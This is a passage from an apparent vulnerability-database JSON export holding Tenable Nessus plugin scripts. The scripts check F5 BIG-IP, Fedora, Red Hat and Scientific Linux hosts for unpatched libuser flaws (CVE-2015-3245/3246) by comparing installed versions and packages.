(C) F5 Networks.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(91327);\n script_version(\"2.15\");\n script_cvs_date(\"Date: 2019/01/04 10:03:40\");\n\n script_cve_id(\"CVE-2015-3245\", \"CVE-2015-3246\");\n script_bugtraq_id(76021, 76022);\n script_xref(name:\"IAVA\", value:\"2015-A-0179\");\n\n script_name(english:\"F5 Networks BIG-IP : Linux libuser vulnerability (SOL05770600)\");\n script_summary(english:\"Checks the BIG-IP version.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote device is missing a vendor-supplied security patch.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"libuser before 0.56.13-8 and 0.60 before 0.60-7, as used in the\nuserhelper program in the usermode package, directly modifies\n/etc/passwd, which allows local users to cause a denial of service\n(inconsistent file state) by causing an error during the modification.\nNOTE: this issue can be combined with CVE-2015-3245 to gain\nprivileges.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://support.f5.com/csp/article/K05770600\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Upgrade to one of the non-vulnerable versions listed in the F5\nSolution SOL05770600.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Libuser roothelper Privilege Escalation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"potential_vulnerability\", value:\"true\");\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_access_policy_manager\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_advanced_firewall_manager\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_application_acceleration_manager\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_application_security_manager\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_application_visibility_and_reporting\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_global_traffic_manager\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_link_controller\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_local_traffic_manager\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_policy_enforcement_manager\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_wan_optimization_manager\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:f5:big-ip_webaccelerator\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/h:f5:big-ip\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/h:f5:big-ip_protocol_security_manager\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2015/12/02\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/05/26\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"F5 Networks Local Security Checks\");\n\n script_dependencies(\"f5_bigip_detect.nbin\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/BIG-IP/hotfix\", \"Host/BIG-IP/modules\", \"Host/BIG-IP/version\", \"Settings/ParanoidReport\");\n\n exit(0);\n}\n\n\ninclude(\"f5_func.inc\");\n\nif ( ! get_kb_item(\"Host/local_checks_enabled\") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nversion = get_kb_item(\"Host/BIG-IP/version\");\nif ( ! version ) audit(AUDIT_OS_NOT, \"F5 Networks BIG-IP\");\nif ( isnull(get_kb_item(\"Host/BIG-IP/hotfix\")) ) audit(AUDIT_KB_MISSING, \"Host/BIG-IP/hotfix\");\nif ( ! get_kb_item(\"Host/BIG-IP/modules\") ) audit(AUDIT_KB_MISSING, \"Host/BIG-IP/modules\");\n\nsol = \"SOL05770600\";\nvmatrix = make_array();\n\nif (report_paranoia < 2) audit(AUDIT_PARANOID);\n\n# AFM\nvmatrix[\"AFM\"] = make_array();\nvmatrix[\"AFM\"][\"affected\" ] = make_list(\"12.0.0\",\"11.3.0-11.6.1\");\nvmatrix[\"AFM\"][\"unaffected\"] = make_list(\"12.1.0\");\n\n# AM\nvmatrix[\"AM\"] = make_array();\nvmatrix[\"AM\"][\"affected\" ] = make_list(\"12.0.0\",\"11.4.0-11.6.1\");\nvmatrix[\"AM\"][\"unaffected\"] = make_list(\"12.1.0\");\n\n# ASM\nvmatrix[\"ASM\"] = make_array();\nvmatrix[\"ASM\"][\"affected\" ] = make_list(\"12.0.0\",\"11.0.0-11.6.1\",\"10.1.0-10.2.4\");\nvmatrix[\"ASM\"][\"unaffected\"] = make_list(\"12.1.0\");\n\n# AVR\nvmatrix[\"AVR\"] = make_array();\nvmatrix[\"AVR\"][\"affected\" ] = make_list(\"12.0.0\",\"11.0.0-11.6.1\");\nvmatrix[\"AVR\"][\"unaffected\"] = make_list(\"12.1.0\");\n\n# LC\nvmatrix[\"LC\"] = make_array();\nvmatrix[\"LC\"][\"affected\" ] = make_list(\"12.0.0\",\"11.0.0-11.6.1\",\"10.1.0-10.2.4\");\nvmatrix[\"LC\"][\"unaffected\"] = make_list(\"12.1.0\");\n\n# LTM\nvmatrix[\"LTM\"] = make_array();\nvmatrix[\"LTM\"][\"affected\" ] = make_list(\"12.0.0\",\"11.0.0-11.6.1\",\"10.1.0-10.2.4\");\nvmatrix[\"LTM\"][\"unaffected\"] = make_list(\"12.1.0\");\n\n# PEM\nvmatrix[\"PEM\"] = make_array();\nvmatrix[\"PEM\"][\"affected\" ] = make_list(\"12.0.0\",\"11.3.0-11.6.1\");\nvmatrix[\"PEM\"][\"unaffected\"] = make_list(\"12.1.0\");\n\n\nif (bigip_is_affected(vmatrix:vmatrix, sol:sol))\n{\n if (report_verbosity > 0) security_hole(port:0, extra:bigip_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = bigip_get_tested_modules();\n audit_extra = \"For BIG-IP module(s) \" + tested + \",\";\n if (tested) audit(AUDIT_INST_VER_NOT_VULN, audit_extra, version);\n else audit(AUDIT_HOST_NOT, \"running any of the affected modules\");\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-12T10:13:16", "description": "Security fix for CVE-2015-3245, CVE-2015-3246\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 19, "published": "2015-08-03T00:00:00", "title": "Fedora 21 : libuser-0.62-1.fc21 (2015-12064)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "modified": "2015-08-03T00:00:00", "cpe": ["cpe:/o:fedoraproject:fedora:21", "p-cpe:/a:fedoraproject:fedora:libuser"], "id": "FEDORA_2015-12064.NASL", "href": "https://www.tenable.com/plugins/nessus/85167", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory 2015-12064.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(85167);\n script_version(\"2.14\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2015-3245\", \"CVE-2015-3246\");\n script_xref(name:\"FEDORA\", value:\"2015-12064\");\n script_xref(name:\"IAVA\", value:\"2015-A-0179\");\n\n script_name(english:\"Fedora 21 : libuser-0.62-1.fc21 (2015-12064)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Security fix for CVE-2015-3245, CVE-2015-3246\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1233043\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1233052\"\n );\n # https://lists.fedoraproject.org/pipermail/package-announce/2015-August/163044.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?948bed4a\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected libuser package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Libuser roothelper Privilege Escalation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:libuser\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:21\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2015/07/29\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2015/08/03\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2015-2021 Tenable Network Security, Inc.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = eregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^21([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 21.x\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"FC21\", reference:\"libuser-0.62-1.fc21\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"libuser\");\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-02-06T13:45:05", "description": "Updated libuser packages that fix two security issues are now\navailable for Red Hat Enterprise Linux 6.\n\nRed Hat Product Security has rated this update as having Important\nsecurity impact. Common Vulnerability Scoring System (CVSS) base\nscores, which give detailed severity ratings, are available for each\nvulnerability from the CVE links in the References section.\n\nThe libuser library implements a standardized interface for\nmanipulating and administering user and group accounts. Sample\napplications that are modeled after applications from the shadow\npassword suite (shadow-utils) are included in these packages.\n\nTwo flaws were found in the way the libuser library handled the\n/etc/passwd file. A local attacker could use an application compiled\nagainst libuser (for example, userhelper) to manipulate the\n/etc/passwd file, which could result in a denial of service or\npossibly allow the attacker to escalate their privileges to root.\n(CVE-2015-3245, CVE-2015-3246)\n\nRed Hat would like to thank Qualys for reporting these issues.\n\nAll libuser users are advised to upgrade to these updated packages,\nwhich contain a backported patch to correct this issue.", "edition": 32, "published": "2015-07-24T00:00:00", "title": "RHEL 6 : libuser (RHSA-2015:1482)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "modified": "2015-07-24T00:00:00", "cpe": ["cpe:/o:redhat:enterprise_linux:6.7", "p-cpe:/a:redhat:enterprise_linux:libuser-debuginfo", "p-cpe:/a:redhat:enterprise_linux:libuser-devel", "cpe:/o:redhat:enterprise_linux:6", "p-cpe:/a:redhat:enterprise_linux:libuser", "p-cpe:/a:redhat:enterprise_linux:libuser-python"], "id": "REDHAT-RHSA-2015-1482.NASL", "href": "https://www.tenable.com/plugins/nessus/84976", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2015:1482. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(84976);\n script_version(\"2.25\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/02/05\");\n\n script_cve_id(\"CVE-2015-3245\", \"CVE-2015-3246\");\n script_bugtraq_id(76021, 76022);\n script_xref(name:\"RHSA\", value:\"2015:1482\");\n script_xref(name:\"IAVA\", value:\"2015-A-0179\");\n\n script_name(english:\"RHEL 6 : libuser (RHSA-2015:1482)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote Red Hat host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"Updated libuser packages that fix two security issues are now\navailable for Red Hat Enterprise Linux 6.\n\nRed Hat Product Security has rated this update as having Important\nsecurity impact. Common Vulnerability Scoring System (CVSS) base\nscores, which give detailed severity ratings, are available for each\nvulnerability from the CVE links in the References section.\n\nThe libuser library implements a standardized interface for\nmanipulating and administering user and group accounts. Sample\napplications that are modeled after applications from the shadow\npassword suite (shadow-utils) are included in these packages.\n\nTwo flaws were found in the way the libuser library handled the\n/etc/passwd file. A local attacker could use an application compiled\nagainst libuser (for example, userhelper) to manipulate the\n/etc/passwd file, which could result in a denial of service or\npossibly allow the attacker to escalate their privileges to root.\n(CVE-2015-3245, CVE-2015-3246)\n\nRed Hat would like to thank Qualys for reporting these issues.\n\nAll libuser users are advised to upgrade to these updated packages,\nwhich contain a backported patch to correct this issue.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/errata/RHSA-2015:1482\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2015-3245\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2015-3246\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Libuser roothelper Privilege Escalation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:libuser\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:libuser-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:libuser-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:libuser-python\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:6\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:6.7\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2015/08/11\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2015/07/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2015/07/24\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^6([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 6.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2015:1482\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{\n flag = 0;\n if (rpm_check(release:\"RHEL6\", reference:\"libuser-0.56.13-8.el6_7\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", reference:\"libuser-debuginfo-0.56.13-8.el6_7\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", reference:\"libuser-devel-0.56.13-8.el6_7\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"libuser-python-0.56.13-8.el6_7\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"s390x\", reference:\"libuser-python-0.56.13-8.el6_7\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"libuser-python-0.56.13-8.el6_7\")) flag++;\n\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"libuser / libuser-debuginfo / libuser-devel / libuser-python\");\n }\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-17T13:48:54", "description": "Two flaws were found in the way the libuser library handled the\n/etc/passwd file. A local attacker could use an application compiled\nagainst libuser (for example, userhelper) to manipulate the\n/etc/passwd file, which could result in a denial of service or\npossibly allow the attacker to escalate their privileges to root.\n(CVE-2015-3245, CVE-2015-3246)", "edition": 16, "published": "2015-07-27T00:00:00", "title": "Scientific Linux Security Update : libuser on SL7.x x86_64 (20150723)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "modified": "2015-07-27T00:00:00", "cpe": ["p-cpe:/a:fermilab:scientific_linux:libuser", "p-cpe:/a:fermilab:scientific_linux:libuser-devel", "p-cpe:/a:fermilab:scientific_linux:libuser-debuginfo", "p-cpe:/a:fermilab:scientific_linux:libuser-python", "x-cpe:/o:fermilab:scientific_linux"], "id": "SL_20150723_LIBUSER_ON_SL7_X.NASL", "href": "https://www.tenable.com/plugins/nessus/85004", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text is (C) Scientific Linux.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(85004);\n script_version(\"2.13\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/14\");\n\n script_cve_id(\"CVE-2015-3245\", \"CVE-2015-3246\");\n script_xref(name:\"IAVA\", value:\"2015-A-0179\");\n\n script_name(english:\"Scientific Linux Security Update : libuser on SL7.x x86_64 (20150723)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Scientific Linux host is missing one or more security\nupdates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Two flaws were found in the way the libuser library handled the\n/etc/passwd file. A local attacker could use an application compiled\nagainst libuser (for example, userhelper) to manipulate the\n/etc/passwd file, which could result in a denial of service or\npossibly allow the attacker to escalate their privileges to root.\n(CVE-2015-3245, CVE-2015-3246)\"\n );\n # https://listserv.fnal.gov/scripts/wa.exe?A2=ind1507&L=scientific-linux-errata&F=&S=&P=10651\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?55d151f7\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Libuser roothelper Privilege Escalation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fermilab:scientific_linux:libuser\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fermilab:scientific_linux:libuser-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fermilab:scientific_linux:libuser-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fermilab:scientific_linux:libuser-python\");\n script_set_attribute(attribute:\"cpe\", value:\"x-cpe:/o:fermilab:scientific_linux\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2015/08/11\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2015/07/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2015/07/27\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Scientific Linux Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Scientific Linux \" >!< release) audit(AUDIT_HOST_NOT, \"running Scientific Linux\");\nos_ver = pregmatch(pattern: \"Scientific Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Scientific Linux\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^7([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Scientific Linux 7.x\", \"Scientific Linux \" + os_ver);\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu >!< \"x86_64\" && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Scientific Linux\", cpu);\nif (\"x86_64\" >!< cpu) audit(AUDIT_ARCH_NOT, \"x86_64\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"SL7\", cpu:\"x86_64\", reference:\"libuser-0.60-7.el7_1\")) flag++;\nif (rpm_check(release:\"SL7\", cpu:\"x86_64\", reference:\"libuser-debuginfo-0.60-7.el7_1\")) flag++;\nif (rpm_check(release:\"SL7\", cpu:\"x86_64\", reference:\"libuser-devel-0.60-7.el7_1\")) flag++;\nif (rpm_check(release:\"SL7\", cpu:\"x86_64\", reference:\"libuser-python-0.60-7.el7_1\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"libuser / libuser-debuginfo / libuser-devel / libuser-python\");\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-02-01T05:32:18", "description": "Updated libuser packages that fix two security issues are now\navailable for Red Hat Enterprise Linux 7.\n\nRed Hat Product Security has rated this update as having Important\nsecurity impact. Common Vulnerability Scoring System (CVSS) base\nscores, which give detailed severity ratings, are available for each\nvulnerability from the CVE links in the References section.\n\nThe libuser library implements a standardized interface for\nmanipulating and administering user and group accounts. Sample\napplications that are modeled after applications from the shadow\npassword suite (shadow-utils) are included in these packages.\n\nTwo flaws were found in the way the libuser library handled the\n/etc/passwd file. A local attacker could use an application compiled\nagainst libuser (for example, userhelper) to manipulate the\n/etc/passwd file, which could result in a denial of service or\npossibly allow the attacker to escalate their privileges to root.\n(CVE-2015-3245, CVE-2015-3246)\n\nRed Hat would like to thank Qualys for reporting these issues.\n\nAll libuser users are advised to upgrade to these updated packages,\nwhich contain a backported patch to correct this issue.", "edition": 32, "published": "2015-07-24T00:00:00", "title": "RHEL 7 : libuser (RHSA-2015:1483)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "modified": "2021-02-02T00:00:00", "cpe": ["cpe:/o:redhat:enterprise_linux:7.4", "cpe:/o:redhat:enterprise_linux:7.1", "cpe:/o:redhat:enterprise_linux:7.7", "cpe:/o:redhat:enterprise_linux:7.5", "p-cpe:/a:redhat:enterprise_linux:libuser-debuginfo", "cpe:/o:redhat:enterprise_linux:7", "cpe:/o:redhat:enterprise_linux:7.3", "cpe:/o:redhat:enterprise_linux:7.2", "p-cpe:/a:redhat:enterprise_linux:libuser-devel", "cpe:/o:redhat:enterprise_linux:7.6", "p-cpe:/a:redhat:enterprise_linux:libuser", "p-cpe:/a:redhat:enterprise_linux:libuser-python"], "id": "REDHAT-RHSA-2015-1483.NASL", "href": "https://www.tenable.com/plugins/nessus/84977", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2015:1483. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(84977);\n script_version(\"2.24\");\n script_cvs_date(\"Date: 2019/10/24 15:35:40\");\n\n script_cve_id(\"CVE-2015-3245\", 